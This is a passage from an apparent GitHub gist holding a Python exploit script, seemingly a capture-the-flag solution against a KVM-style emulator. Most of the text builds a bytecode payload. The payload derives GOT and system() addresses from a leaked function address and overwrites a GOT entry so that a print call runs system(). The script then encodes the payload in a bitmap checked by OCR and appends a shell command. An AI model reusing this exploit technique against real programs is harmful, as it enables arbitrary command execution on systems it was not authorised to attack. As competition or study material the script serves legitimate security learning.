cmd += cmd_op_mul(reg_tmp, reg_256)
cmd += cmd_op_add(reg_cmd, reg_tmp)
# got_cout = funcaddr + 0x2128ed
cmd += [0,0,0,0,31]
cmd += cmd_op_equate(reg_gotplt_cout, reg_funcaddr)
cmd += cmd_const_u8(reg_tmp, 0xed)
cmd += [0,0,0,0,31]
cmd += cmd_op_add(reg_gotplt_cout, reg_tmp)
cmd += cmd_const_u8(reg_tmp, 0x28)
cmd += cmd_op_mul(reg_tmp, reg_256)
cmd += cmd_op_add(reg_gotplt_cout, reg_tmp)
cmd += [0,0,0,0,31]
cmd += cmd_const_u8(reg_tmp, 0x21)
cmd += cmd_op_mul(reg_tmp, reg_256)
cmd += cmd_op_mul(reg_tmp, reg_256)
cmd += cmd_op_add(reg_gotplt_cout, reg_tmp)
# gotplt__ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc = baseaddr + 0x21e0a8 (got_cout + 0xd8)
cmd += cmd_op_equate(reg_gotplt_print, reg_gotplt_cout)
cmd += [0,0,0,31]
cmd += cmd_const_u8(reg_tmp, 0xd8)
cmd += cmd_nop()
cmd += cmd_op_add(reg_gotplt_print, reg_tmp)
# system = baseaddr + 0xa322 (funcaddr-0x13c1)
cmd += [0,0,31]
cmd += cmd_op_equate(reg_system, reg_funcaddr)
cmd += cmd_nop()
cmd += cmd_nop()
cmd += cmd_nop()
cmd += cmd_const_u8(reg_tmp, 0xc1)
cmd += cmd_op_mul(reg_tmp, reg_minus_1)
cmd += [0, 0, 0, 0, 31]
cmd += cmd_op_add(reg_system, reg_tmp)
cmd += cmd_const_u8(reg_tmp, 0x13)
cmd += cmd_nop()
cmd += cmd_op_mul(reg_tmp, reg_256)
cmd += [0, 0, 0, 31]
cmd += cmd_op_mul(reg_tmp, reg_minus_1)
cmd += cmd_op_add(reg_system, reg_tmp)
# cmdptr
cmd += [0, 0,0, 0, 31]
cmd += cmd_op_equate(reg_cmdptr, reg_gotplt_cout)
cmd += cmd_const_u8(reg_tmp, 0x2)
cmd += cmd_op_mul(reg_tmp, reg_256)
cmd += cmd_op_add(reg_cmdptr, reg_tmp)
cmd += cmd_op_pointer_write(reg_gotplt_print, reg_system)
cmd += [0, 0, 31]
cmd += cmd_op_pointer_read(reg_cmdptr, reg_gotplt_cout)
cmd += cmd_op_pointer_write(reg_cmdptr, reg_cmd)
cmd += cmd_final()
msg = cmd2msg(cmd)
print "msg_len %d" % len(msg)
return msg
def main():
input_text = kvm_pwn()
print "Input Text : %s" % input_text
assert(len(input_text) < 8192)
sample_count = 0
for font_size in range(38, 39):
img = PIL.Image.new("1", (1400, 1400))
draw_text(img, input_text, font_size)
#img.show()
filename = "sample.bmp"
img.save(filename)
text = unicode(image2text(filename), "utf-8")
text = text.replace(u" ", u"")
text = text.replace(u"\n", u"")
#print "Output Text: %s" % text
success = True
count = 0
while count < len(input_text):
if text[count] != input_text[count]:
success = False
break
count += 1
if success:
pic = open(filename,"rb").read()
open("kvminput","wb").write(("%d\n"%len(pic)) +pic+SHELL_CMD)
print "ok"
break
else:
print "error pos=%4d fontsize=%4d" % (count, font_size)
main()
@junorouse
Copy link

Wow !@!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment